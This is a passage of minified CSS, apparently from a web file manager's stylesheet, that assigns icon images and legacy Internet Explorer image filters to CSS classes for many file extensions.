\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pkg.png?ver=3.30',sizingMethod='scale');}.x-zip,.x-apk,.x-tar,.x-gzip,.x-jar,.x-cxr,.x-tar,.x-gz,.x-cab,.x-tbz,.x-tbz2,.x-bz2{background-image:url("../../../images/file_icon/icon_file/zip.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/zip.png?ver=3.30',sizingMethod='scale');}.x-exe,.x-bin,.x-class,.x-a,.x-so{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-ttf,.x-otf,.x-eot,.x-woff,.x-tiff,.x-ttc{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-bat,.x-cmd,.x-sh,.x-bash,.x-bashrc{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-ini,.x-inf,.x-conf,.x-meta,.x-gitignore,.x-plist,.x-htaccess,.x-localized,.x-xcscheme,.x-storyboard,.x-xib,.x-strings,.x-pbxproj{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-md,.x-markdown{background-image:url("../../../images/file_icon/icon_file/md.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/md.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-accdb{background-image:url("../../../images/file_icon/icon_file/accdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/accdb.png?ver=3.30',sizingMethod='scale');}.x-ai{background-image:url("../../../images/file_icon/icon_file/ai.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ai.png?ver=3.30',sizingMethod='scale');}.x-air{background-image:url("../../../images/file_icon/icon_file/air.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/air.png?ver=3.30',sizingMethod='scale');}.x-arj{background-image:url("../../../images/file_icon/icon_file/arj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/arj.png?ver=3.30',sizingMethod='scale');}.x-apk{background-image:url("../../../images/file_icon/icon_file/apk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/apk.png?ver=3.30',sizingMethod='scale');}.x-as{background-image:url("../../../images/file_icon/icon_file/as.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/as.png?ver=3.30',sizingMethod='scale');}.x-ascx{background-image:url("../../../images/file_icon/icon_file/ascx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ascx.png?ver=3.30',sizingMethod='scale');}.x-ashx{background-image:url("../../../images/file_icon/icon_file/ashx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ashx.png?ver=3.30',sizingMethod='scale');}.x-asmx{background-image:url("../../../images/file_icon/icon_file/asmx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/asmx.png?ver=3.30',sizingMethod='scale');}.x-aspx{background-image:url("../../../images/file_icon/icon_file/aspx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/aspx.png?ver=3.30',sizingMethod='scale');}.x-bz2{background-image:url("../../../images/file_icon/icon_file/bz2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/bz2.png?ver=3.30',sizingMethod='scale');}.x-cdr{background-image:url("../../../images/file_icon/icon_file/cdr.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cdr.png?ver=3.30',sizingMethod='scale');}.x-cer{background-image:url("../../../images/file_icon/icon_file/cer.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cer.png?ver=3.30',sizingMethod='scale');}.x-chm{background-image:url("../../../images/file_icon/icon_file/chm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/chm.png?ver=3.30',sizingMethod='scale');}.x-cmd{background-image:url("../../../images/file_icon/icon_file/cmd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cmd.png?ver=3.30',sizingMethod='scale');}.x-c{background-image:url("../../../images/file_icon/icon_file/c.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/c.png?ver=3.30',sizingMethod='scale');}.x-cpp{background-image:url("../../../images/file_icon/icon_file/cpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cpp.png?ver=3.30',sizingMethod='scale');}.x-cs{background-image:url("../../../images/file_icon/icon_file/cs.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cs.png?ver=3.30',sizingMethod='scale');}.x-cshtml{background-image:url("../../../images/file_icon/icon_file/cshtml.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/cshtml.png?ver=3.30',sizingMethod='scale');}.x-csproj{background-image:url("../../../images/file_icon/icon_file/csproj.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csproj.png?ver=3.30',sizingMethod='scale');}.x-css{background-image:url("../../../images/file_icon/icon_file/css.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/css.png?ver=3.30',sizingMethod='scale');}.x-csv{background-image:url("../../../images/file_icon/icon_file/csv.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/csv.png?ver=3.30',sizingMethod='scale');}.x-dll{background-image:url("../../../images/file_icon/icon_file/dll.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dll.png?ver=3.30',sizingMethod='scale');}.x-dmg,.x-img{background-image:url("../../../images/file_icon/icon_file/dmg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dmg.png?ver=3.30',sizingMethod='scale');}.x-doc{background-image:url("../../../images/file_icon/icon_file/doc.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/doc.png?ver=3.30',sizingMethod='scale');}.x-docm{background-image:url("../../../images/file_icon/icon_file/docm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docm.png?ver=3.30',sizingMethod='scale');}.x-docx{background-image:url("../../../images/file_icon/icon_file/docx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/docx.png?ver=3.30',sizingMethod='scale');}.x-dot{background-image:url("../../../images/file_icon/icon_file/dot.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dot.png?ver=3.30',sizingMethod='scale');}.x-dotm{background-image:url("../../../images/file_icon/icon_file/dotm.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotm.png?ver=3.30',sizingMethod='scale');}.x-dotx{background-image:url("../../../images/file_icon/icon_file/dotx.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dotx.png?ver=3.30',sizingMethod='scale');}.x-dtd{background-image:url("../../../images/file_icon/icon_file/dtd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dtd.png?ver=3.30',sizingMethod='scale');}.x-dwg{background-image:url("../../../images/file_icon/icon_file/dwg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dwg.png?ver=3.30',sizingMethod='scale');}.x-dxf{background-image:url("../../../images/file_icon/icon_file/dxf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/dxf.png?ver=3.30',sizingMethod='scale');}.x-eps{background-image:url("../../../images/file_icon/icon_file/eps.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/eps.png?ver=3.30',sizingMethod='scale');}.x-epub{background-image:url("../../../images/file_icon/icon_file/epub.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/epub.png?ver=3.30',sizingMethod='scale');}.x-exe{background-image:url("../../../images/file_icon/icon_file/exe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/exe.png?ver=3.30',sizingMethod='scale');}.x-f{background-image:url("../../../images/file_icon/icon_file/f.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/f.png?ver=3.30',sizingMethod='scale');}.x-file{background-image:url("../../../images/file_icon/icon_file/file.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/file.png?ver=3.30',sizingMethod='scale');}.x-fla{background-image:url("../../../images/file_icon/icon_file/fla.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/fla.png?ver=3.30',sizingMethod='scale');}.x-font{background-image:url("../../../images/file_icon/icon_file/font.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/font.png?ver=3.30',sizingMethod='scale');}.x-gif{background-image:url("../../../images/file_icon/icon_file/gif.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gif.png?ver=3.30',sizingMethod='scale');}.x-gz{background-image:url("../../../images/file_icon/icon_file/gz.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/gz.png?ver=3.30',sizingMethod='scale');}.x-h{background-image:url("../../../images/file_icon/icon_file/h.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/h.png?ver=3.30',sizingMethod='scale');}.x-hlp{background-image:url("../../../images/file_icon/icon_file/hlp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/hlp.png?ver=3.30',sizingMethod='scale');}.x-html{background-image:url("../../../images/file_icon/icon_file/html.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/html.png?ver=3.30',sizingMethod='scale');}.x-indd{background-image:url("../../../images/file_icon/icon_file/indd.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/indd.png?ver=3.30',sizingMethod='scale');}.x-ini{background-image:url("../../../images/file_icon/icon_file/ini.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ini.png?ver=3.30',sizingMethod='scale');}.x-ipa{background-image:url("../../../images/file_icon/icon_file/ipa.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ipa.png?ver=3.30',sizingMethod='scale');}.x-jar{background-image:url("../../../images/file_icon/icon_file/jar.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jar.png?ver=3.30',sizingMethod='scale');}.x-java{background-image:url("../../../images/file_icon/icon_file/java.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/java.png?ver=3.30',sizingMethod='scale');}.x-jpg{background-image:url("../../../images/file_icon/icon_file/jpg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/jpg.png?ver=3.30',sizingMethod='scale');}.x-js{background-image:url("../../../images/file_icon/icon_file/js.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/js.png?ver=3.30',sizingMethod='scale');}.x-json{background-image:url("../../../images/file_icon/icon_file/json.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/json.png?ver=3.30',sizingMethod='scale');}.x-key{background-image:url("../../../images/file_icon/icon_file/key.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/key.png?ver=3.30',sizingMethod='scale');}.x-ldf{background-image:url("../../../images/file_icon/icon_file/ldf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ldf.png?ver=3.30',sizingMethod='scale');}.x-lnk{background-image:url("../../../images/file_icon/icon_file/lnk.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/lnk.png?ver=3.30',sizingMethod='scale');}.x-makefile{background-image:url("../../../images/file_icon/icon_file/makefile.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/makefile.png?ver=3.30',sizingMethod='scale');}.x-mdb{background-image:url("../../../images/file_icon/icon_file/mdb.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdb.png?ver=3.30',sizingMethod='scale');}.x-mdf{background-image:url("../../../images/file_icon/icon_file/mdf.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mdf.png?ver=3.30',sizingMethod='scale');}.x-mht{background-image:url("../../../images/file_icon/icon_file/mht.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mht.png?ver=3.30',sizingMethod='scale');}.x-midi{background-image:url("../../../images/file_icon/icon_file/midi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/midi.png?ver=3.30',sizingMethod='scale');}.x-mpp{background-image:url("../../../images/file_icon/icon_file/mpp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpp.png?ver=3.30',sizingMethod='scale');}.x-mpt{background-image:url("../../../images/file_icon/icon_file/mpt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/mpt.png?ver=3.30',sizingMethod='scale');}.x-msg{background-image:url("../../../images/file_icon/icon_file/msg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msg.png?ver=3.30',sizingMethod='scale');}.x-msi{background-image:url("../../../images/file_icon/icon_file/msi.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/msi.png?ver=3.30',sizingMethod='scale');}.x-numbers{background-image:url("../../../images/file_icon/icon_file/numbers.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/numbers.png?ver=3.30',sizingMethod='scale');}.x-odp{background-image:url("../../../images/file_icon/icon_file/odp.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odp.png?ver=3.30',sizingMethod='scale');}.x-ods{background-image:url("../../../images/file_icon/icon_file/ods.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ods.png?ver=3.30',sizingMethod='scale');}.x-odt{background-image:url("../../../images/file_icon/icon_file/odt.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/odt.png?ver=3.30',sizingMethod='scale');}.x-oexe{background-image:url("../../../images/file_icon/icon_file/oexe.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe.png?ver=3.30',sizingMethod='scale');}.x-oexe2{background-image:url("../../../images/file_icon/icon_file/oexe2.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/oexe2.png?ver=3.30',sizingMethod='scale');}.x-ogg{background-image:url("../../../images/file_icon/icon_file/ogg.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/ogg.png?ver=3.30',sizingMethod='scale');}.x-pages{background-image:url("../../../images/file_icon/icon_file/pages.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_file/pages.png?ver=3.30',sizingMethod='scale');}.x-pdb{background-image:url("../../../images/file_icon/icon_file/pdb.png");background-image:none 